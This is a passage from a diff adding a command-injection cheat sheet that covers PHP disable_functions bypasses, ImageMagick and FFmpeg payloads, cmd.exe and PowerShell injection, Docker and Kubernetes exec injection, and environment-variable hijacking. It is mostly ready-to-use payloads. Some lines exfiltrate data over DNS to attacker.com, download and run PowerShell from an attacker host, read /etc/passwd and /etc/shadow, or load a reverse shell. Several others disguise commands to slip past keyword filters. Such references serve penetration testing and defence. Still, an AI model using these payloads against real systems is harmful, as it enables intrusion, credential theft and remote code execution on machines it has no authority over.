|
+
```php
|
|
350
|
+
# Encode payload, decode at runtime:
|
|
351
|
+
base64_decode('c3lzdGVt')('id'); # system('id')
|
|
352
|
+
str_rot13('flfgrz')('id'); # system → flfgrz via ROT13
|
|
353
|
+
```
|
|
354
|
+
|
|
355
|
+
### chr() Assembly
|
|
356
|
+
|
|
357
|
+
```php
|
|
358
|
+
# Build strings character by character:
|
|
359
|
+
chr(115).chr(121).chr(115).chr(116).chr(101).chr(109) # "system"
|
|
360
|
+
```
|
|
361
|
+
|
|
362
|
+
### Dollar-Sign Variable Tricks
|
|
363
|
+
|
|
364
|
+
```bash
|
|
365
|
+
# $IFS (Internal Field Separator) as space:
|
|
366
|
+
cat$IFS/etc/passwd
|
|
367
|
+
cat${IFS}/etc/passwd
|
|
368
|
+
|
|
369
|
+
# Unset variables expand to empty:
|
|
370
|
+
c${x}at /etc/passwd # $x is unset → "cat"
|
|
371
|
+
```
|
|
372
|
+
|
|
373
|
+
---
|
|
374
|
+
|
|
375
|
+
## 10. PHP disable_functions BYPASS PATHS
|
|
376
|
+
|
|
377
|
+
When `system()`, `exec()`, `shell_exec()`, `passthru()`, `popen()`, `proc_open()` are all disabled:
|
|
378
|
+
|
|
379
|
+
### Path 1: LD_PRELOAD + mail()/putenv()
|
|
380
|
+
|
|
381
|
+
```php
|
|
382
|
+
// 1. Upload shared object (.so) that hooks a libc function
|
|
383
|
+
// 2. Set LD_PRELOAD to point to it
|
|
384
|
+
putenv("LD_PRELOAD=/tmp/evil.so");
|
|
385
|
+
// 3. Trigger external process (mail() calls sendmail)
|
|
386
|
+
mail("a@b.com", "", "");
|
|
387
|
+
// The .so's constructor runs with shell access
|
|
388
|
+
```
|
|
389
|
+
|
|
390
|
+
### Path 2: Shellshock (CVE-2014-6271)
|
|
391
|
+
|
|
392
|
+
```php
|
|
393
|
+
// If bash is vulnerable to Shellshock:
|
|
394
|
+
putenv("PHP_LOL=() { :; }; /usr/bin/id > /tmp/out");
|
|
395
|
+
mail("a@b.com", "", "");
|
|
396
|
+
// Bash processes the function definition and runs the trailing command
|
|
397
|
+
```
|
|
398
|
+
|
|
399
|
+
### Path 3: Apache mod_cgi + .htaccess
|
|
400
|
+
|
|
401
|
+
```php
|
|
402
|
+
// Write .htaccess enabling CGI:
|
|
403
|
+
file_put_contents('/var/www/html/.htaccess', 'Options +ExecCGI\nAddHandler cgi-script .sh');
|
|
404
|
+
// Write CGI script:
|
|
405
|
+
file_put_contents('/var/www/html/cmd.sh', "#!/bin/bash\necho Content-type: text/html\necho\n$1");
|
|
406
|
+
chmod('/var/www/html/cmd.sh', 0755);
|
|
407
|
+
// Access: /cmd.sh?id
|
|
408
|
+
```
|
|
409
|
+
|
|
410
|
+
### Path 4: PHP-FPM / FastCGI
|
|
411
|
+
|
|
412
|
+
```php
|
|
413
|
+
// If PHP-FPM socket is accessible (/var/run/php-fpm.sock or port 9000):
|
|
414
|
+
// Send crafted FastCGI request to execute arbitrary PHP with different php.ini
|
|
415
|
+
// Tool: https://github.com/neex/phuip-fpizdam
|
|
416
|
+
// Override: PHP_VALUE=auto_prepend_file=/tmp/shell.php
|
|
417
|
+
```
|
|
418
|
+
|
|
419
|
+
### Path 5: COM Object (Windows)
|
|
420
|
+
|
|
421
|
+
```php
|
|
422
|
+
// Windows only, if COM extension enabled:
|
|
423
|
+
$wsh = new COM('WScript.Shell');
|
|
424
|
+
$exec = $wsh->Run('cmd /c whoami > C:\inetpub\wwwroot\out.txt', 0, true);
|
|
425
|
+
```
|
|
426
|
+
|
|
427
|
+
### Path 6: ImageMagick Delegate (CVE-2016-3714 "ImageTragick")
|
|
428
|
+
|
|
429
|
+
```php
|
|
430
|
+
// If ImageMagick processes user-uploaded images:
|
|
431
|
+
// Upload SVG/MVG with embedded command:
|
|
432
|
+
// Content of exploit.svg:
|
|
433
|
+
push graphic-context
|
|
434
|
+
viewbox 0 0 640 480
|
|
435
|
+
fill 'url(https://example.com/image.jpg"|id > /tmp/pwned")'
|
|
436
|
+
pop graphic-context
|
|
437
|
+
```
|
|
438
|
+
|
|
439
|
+
**Also consider (summary):** iconv (CVE-2024-2961) via `php://filter/convert.iconv`; FFI (`FFI::cdef` + `libc`) when the extension is enabled.
|
|
440
|
+
|
|
441
|
+
---
|
|
442
|
+
|
|
443
|
+
## 11. COMPONENT-LEVEL COMMAND INJECTION
|
|
444
|
+
|
|
445
|
+
### ImageMagick Delegate Abuse
|
|
446
|
+
|
|
447
|
+
```
|
|
448
|
+
# MVG format with shell command in URL:
|
|
449
|
+
push graphic-context
|
|
450
|
+
viewbox 0 0 640 480
|
|
451
|
+
image over 0,0 0,0 'https://127.0.0.1/x.php?x=`id > /tmp/out`'
|
|
452
|
+
pop graphic-context
|
|
453
|
+
|
|
454
|
+
# Or via filename: convert '|id' out.png
|
|
455
|
+
```
|
|
456
|
+
|
|
457
|
+
### FFmpeg (HLS/concat protocol)
|
|
458
|
+
|
|
459
|
+
```
|
|
460
|
+
# SSRF/LFI via m3u8 playlist:
|
|
461
|
+
#EXTM3U
|
|
462
|
+
#EXT-X-MEDIA-SEQUENCE:0
|
|
463
|
+
#EXTINF:10.0,
|
|
464
|
+
concat:http://attacker.com/header.txt|file:///etc/passwd
|
|
465
|
+
#EXT-X-ENDLIST
|
|
466
|
+
|
|
467
|
+
# Upload as .m3u8, FFmpeg processes and may leak file contents in output
|
|
468
|
+
```
|
|
469
|
+
|
|
470
|
+
### Elasticsearch Groovy Script (pre-5.x)
|
|
471
|
+
|
|
472
|
+
```json
|
|
473
|
+
POST /_search
|
|
474
|
+
{
|
|
475
|
+
"query": { "match_all": {} },
|
|
476
|
+
"script_fields": {
|
|
477
|
+
"cmd": {
|
|
478
|
+
"script": "Runtime rt = Runtime.getRuntime(); rt.exec('id')"
|
|
479
|
+
}
|
|
480
|
+
}
|
|
481
|
+
}
|
|
482
|
+
```
|
|
483
|
+
|
|
484
|
+
### Ping/Traceroute/NSLookup Diagnostic Pages
|
|
485
|
+
|
|
486
|
+
```
|
|
487
|
+
# Classic injection point in network diagnostic features:
|
|
488
|
+
# Input: 127.0.0.1; id
|
|
489
|
+
# Input: 127.0.0.1 && cat /etc/passwd
|
|
490
|
+
# Input: `id`.attacker.com (DNS exfil via backtick)
|
|
491
|
+
# These features directly call OS commands with user input
|
|
492
|
+
```
|
|
493
|
+
|
|
494
|
+
**Other sinks (quick reference):** PDF generators (wkhtmltopdf / WeasyPrint with user HTML); Git wrappers (`git clone` URL / hooks).
|
|
495
|
+
|
|
496
|
+
---
|
|
497
|
+
|
|
498
|
+
## 12. WINDOWS CMD.EXE VS POWERSHELL INJECTION MATRIX
|
|
499
|
+
|
|
500
|
+
| Feature | cmd.exe | PowerShell |
|
|
501
|
+
|---------|---------|------------|
|
|
502
|
+
| **Command separator** | `&`, `&&`, `\|\|`, `;` (limited) | `;`, `\|`, `&` (call operator) |
|
|
503
|
+
| **Variable expansion** | `%VARIABLE%`, `!VAR!` (delayed) | `$env:VARIABLE`, `$Variable` |
|
|
504
|
+
| **Escape character** | `^` (caret) | `` ` `` (backtick) |
|
|
505
|
+
| **Command substitution** | `FOR /F` loops | `$()` subexpression |
|
|
506
|
+
| **Encoded execution** | N/A | `-EncodedCommand` (base64 UTF-16LE) |
|
|
507
|
+
| **Pipeline** | `\|` (stdout only) | `\|` (objects, not text) |
|
|
508
|
+
| **Comment** | `REM`, `::` | `#` |
|
|
509
|
+
| **String quoting** | `"double"` only | `"double"`, `'single'` (no expansion) |
|
|
510
|
+
|
|
511
|
+
### cmd.exe specific payloads
|
|
512
|
+
|
|
513
|
+
```batch
|
|
514
|
+
REM Command chaining
|
|
515
|
+
dir & whoami
|
|
516
|
+
dir && whoami
|
|
517
|
+
dir || whoami
|
|
518
|
+
|
|
519
|
+
REM Caret escape to bypass keyword filters
|
|
520
|
+
w^h^o^a^m^i
|
|
521
|
+
n^e^t u^s^e^r
|
|
522
|
+
|
|
523
|
+
REM Variable expansion injection
|
|
524
|
+
set CMD=whoami
|
|
525
|
+
%CMD%
|
|
526
|
+
|
|
527
|
+
REM Environment variable exfiltration via DNS
|
|
528
|
+
nslookup %USERNAME%.attacker.com
|
|
529
|
+
nslookup %COMPUTERNAME%.attacker.com
|
|
530
|
+
|
|
531
|
+
REM Delayed expansion (when !var! is enabled)
|
|
532
|
+
cmd /V:ON /C "set x=whoami&!x!"
|
|
533
|
+
```
|
|
534
|
+
|
|
535
|
+
### PowerShell specific payloads
|
|
536
|
+
|
|
537
|
+
```powershell
|
|
538
|
+
# Semicolon separator
|
|
539
|
+
Get-Process; whoami
|
|
540
|
+
|
|
541
|
+
# Subexpression
|
|
542
|
+
"$(whoami)"
|
|
543
|
+
Write-Output $(hostname)
|
|
544
|
+
|
|
545
|
+
# Base64 encoded command (UTF-16LE)
|
|
546
|
+
powershell -EncodedCommand dwBoAG8AYQBtAGkA
|
|
547
|
+
# Decodes to: whoami
|
|
548
|
+
|
|
549
|
+
# Invoke-Expression obfuscation
|
|
550
|
+
$a='who';$b='ami';iex "$a$b"
|
|
551
|
+
& (gcm *ke-*) "whoami"
|
|
552
|
+
|
|
553
|
+
# Download and execute
|
|
554
|
+
IEX (New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')
|
|
555
|
+
IEX (iwr http://attacker/payload.ps1 -UseBasicParsing).Content
|
|
556
|
+
|
|
557
|
+
# Constrained Language Mode bypass (if available)
|
|
558
|
+
powershell -Version 2 -Command "whoami"
|
|
559
|
+
```
|
|
560
|
+
|
|
561
|
+
### Cross-platform payload differences
|
|
562
|
+
|
|
563
|
+
| Target | Time delay | DNS exfil | File read |
|
|
564
|
+
|--------|-----------|-----------|-----------|
|
|
565
|
+
| Linux/macOS | `sleep 5` | `nslookup $(whoami).atk.com` | `cat /etc/passwd` |
|
|
566
|
+
| cmd.exe | `timeout /T 5 /NOBREAK` | `nslookup %USERNAME%.atk.com` | `type C:\Windows\win.ini` |
|
|
567
|
+
| PowerShell | `Start-Sleep 5` | `nslookup $(whoami).atk.com` | `Get-Content C:\Windows\win.ini` |
|
|
568
|
+
|
|
569
|
+
### Detection-first polyglot
|
|
570
|
+
|
|
571
|
+
```text
|
|
572
|
+
;sleep${IFS}5;#&timeout /T 5 /NOBREAK&#
|
|
573
|
+
```
|
|
574
|
+
|
|
575
|
+
Works across sh/bash/cmd contexts — one of the separators will fire.
|
|
576
|
+
|
|
577
|
+
---
|
|
578
|
+
|
|
579
|
+
## 13. CONTAINER / K8S EXEC INJECTION
|
|
580
|
+
|
|
581
|
+
### kubectl exec injection
|
|
582
|
+
|
|
583
|
+
When a web application constructs `kubectl exec` commands with user input:
|
|
584
|
+
|
|
585
|
+
```text
|
|
586
|
+
# Vulnerable pattern
|
|
587
|
+
kubectl exec $POD_NAME -- /bin/sh -c "echo $USER_INPUT"
|
|
588
|
+
|
|
589
|
+
# Injection via pod name
|
|
590
|
+
POD_NAME="mypod -- /bin/sh -c whoami #"
|
|
591
|
+
→ kubectl exec mypod -- /bin/sh -c whoami # -- /bin/sh -c "echo ..."
|
|
592
|
+
|
|
593
|
+
# Injection via user input in command
|
|
594
|
+
USER_INPUT='"; cat /etc/passwd; echo "'
|
|
595
|
+
→ kubectl exec pod -- /bin/sh -c "echo ""; cat /etc/passwd; echo """
|
|
596
|
+
```
|
|
597
|
+
|
|
598
|
+
### Docker exec injection
|
|
599
|
+
|
|
600
|
+
```text
|
|
601
|
+
# Vulnerable web admin panel
|
|
602
|
+
docker exec $CONTAINER_NAME $COMMAND
|
|
603
|
+
|
|
604
|
+
# Injection via container name
|
|
605
|
+
CONTAINER_NAME="web_app -u root web_app"
|
|
606
|
+
→ docker exec web_app -u root web_app $COMMAND (runs as root)
|
|
607
|
+
|
|
608
|
+
# Injection via command argument
|
|
609
|
+
COMMAND="status; cat /etc/shadow"
|
|
610
|
+
→ docker exec container /bin/sh -c "status; cat /etc/shadow"
|
|
611
|
+
```
|
|
612
|
+
|
|
613
|
+
### Container runtime API (unauthenticated)
|
|
614
|
+
|
|
615
|
+
```text
|
|
616
|
+
# Docker socket exposed (2375/2376 or /var/run/docker.sock)
|
|
617
|
+
POST /containers/create HTTP/1.1
|
|
618
|
+
{"Image":"alpine","Cmd":["/bin/sh","-c","cat /host/etc/shadow"],"Binds":["/:/host"]}
|
|
619
|
+
|
|
620
|
+
# Then start + exec
|
|
621
|
+
POST /containers/{id}/start
|
|
622
|
+
POST /containers/{id}/exec {"Cmd":["cat","/host/etc/shadow"]}
|
|
623
|
+
|
|
624
|
+
# Kubernetes API (6443/8443 unauthenticated)
|
|
625
|
+
POST /api/v1/namespaces/default/pods/{name}/exec?command=whoami&stdout=true
|
|
626
|
+
```
|
|
627
|
+
|
|
628
|
+
### Sinks to watch for
|
|
629
|
+
|
|
630
|
+
| Component | Injection Vector |
|
|
631
|
+
|-----------|-----------------|
|
|
632
|
+
| CI/CD pipeline (Jenkins, GitLab CI) | Build step parameters, environment variables |
|
|
633
|
+
| Kubernetes CronJob | `.spec.containers[].command` from user-defined schedules |
|
|
634
|
+
| Helm chart values | `values.yaml` templated into pod specs with `{{ }}` |
|
|
635
|
+
| Container orchestration UI | "Run command" features in Portainer, Rancher, etc. |
|
|
636
|
+
|
|
637
|
+
---
|
|
638
|
+
|
|
639
|
+
## 14. ENVIRONMENT VARIABLE INJECTION
|
|
640
|
+
|
|
641
|
+
When an application allows setting or influencing environment variables, several variables have **implicit execution** semantics:
|
|
642
|
+
|
|
643
|
+
### Linux / Unix
|
|
644
|
+
|
|
645
|
+
| Variable | Effect | Exploitation |
|
|
646
|
+
|----------|--------|-------------|
|
|
647
|
+
| `LD_PRELOAD` | Loaded before any shared library; constructor runs on process start | `putenv("LD_PRELOAD=/tmp/evil.so"); mail("a@b","","");` |
|
|
648
|
+
| `LD_LIBRARY_PATH` | Overrides library search path | Place malicious `libc.so.6` in controlled directory |
|
|
649
|
+
| `BASH_ENV` | Executed when non-interactive bash starts | `BASH_ENV=/tmp/evil.sh` → any `system()` / `popen()` call sources it |
|
|
650
|
+
| `ENV` | Same as BASH_ENV for POSIX `sh` | `ENV=/tmp/evil.sh` |
|
|
651
|
+
| `PROMPT_COMMAND` | Executed before each interactive prompt | `PROMPT_COMMAND="curl http://atk.com/$(whoami)"` |
|
|
652
|
+
| `PS1` | Prompt string, supports `$()` expansion in bash | `PS1='$(cat /etc/passwd > /tmp/out) \$ '` |
|
|
653
|
+
| `PYTHONSTARTUP` | Python script executed on interpreter startup | Inject path to malicious `.py` file |
|
|
654
|
+
| `PERL5OPT` | Options passed to every Perl invocation | `PERL5OPT='-Mbase;system("id")'` |
|
|
655
|
+
| `NODE_OPTIONS` | Options passed to every Node.js invocation | `NODE_OPTIONS='--require /tmp/evil.js'` |
|
|
656
|
+
| `RUBYOPT` | Options for Ruby | `RUBYOPT='-r/tmp/evil.rb'` |
|
|
657
|
+
|
|
658
|
+
### Windows
|
|
659
|
+
|
|
660
|
+
| Variable | Effect |
|
|
661
|
+
|----------|--------|
|
|
662
|
+
| `COMSPEC` | Path to command interpreter; `system()` calls use this | Set to malicious executable |
|
|
663
|
+
| `PATH` | Command resolution order; place malicious binary earlier in path | DLL/EXE search order hijacking |
|
|
664
|
+
| `PSModulePath` | PowerShell auto-loads modules from these paths | Plant malicious module |
|
|
665
|
+
|
|
666
|
+
### Attack scenarios
|
|
667
|
+
|
|
668
|
+
**PHP `putenv()` + `mail()`**:
|
|
669
|
+
```php
|
|
670
|
+
// When putenv() is not disabled and mail() is available:
|
|
671
|
+
putenv("LD_PRELOAD=/tmp/evil.so");
|
|
672
|
+
mail("a@b.com","","","");
|
|
673
|
+
// mail() invokes sendmail → loads evil.so → constructor executes arbitrary code
|
|
674
|
+
```
|
|
675
|
+
|
|
676
|
+
**Git hook injection via environment**:
|
|
677
|
+
```bash
|
|
678
|
+
# GIT_DIR / GIT_WORK_TREE manipulation
|
|
679
|
+
GIT_DIR=/tmp/evil_repo/.git git status
|
|
680
|
+
# If hooks exist in the controlled repo, they execute
|
|
681
|
+
```
|
|
682
|
+
|
|
683
|
+
**Node.js `--require` injection**:
|
|
684
|
+
```bash
|
|
685
|
+
NODE_OPTIONS="--require=/tmp/reverse_shell.js" node /app/server.js
|
|
686
|
+
# reverse_shell.js is loaded before server.js
|
|
687
|
+
```
|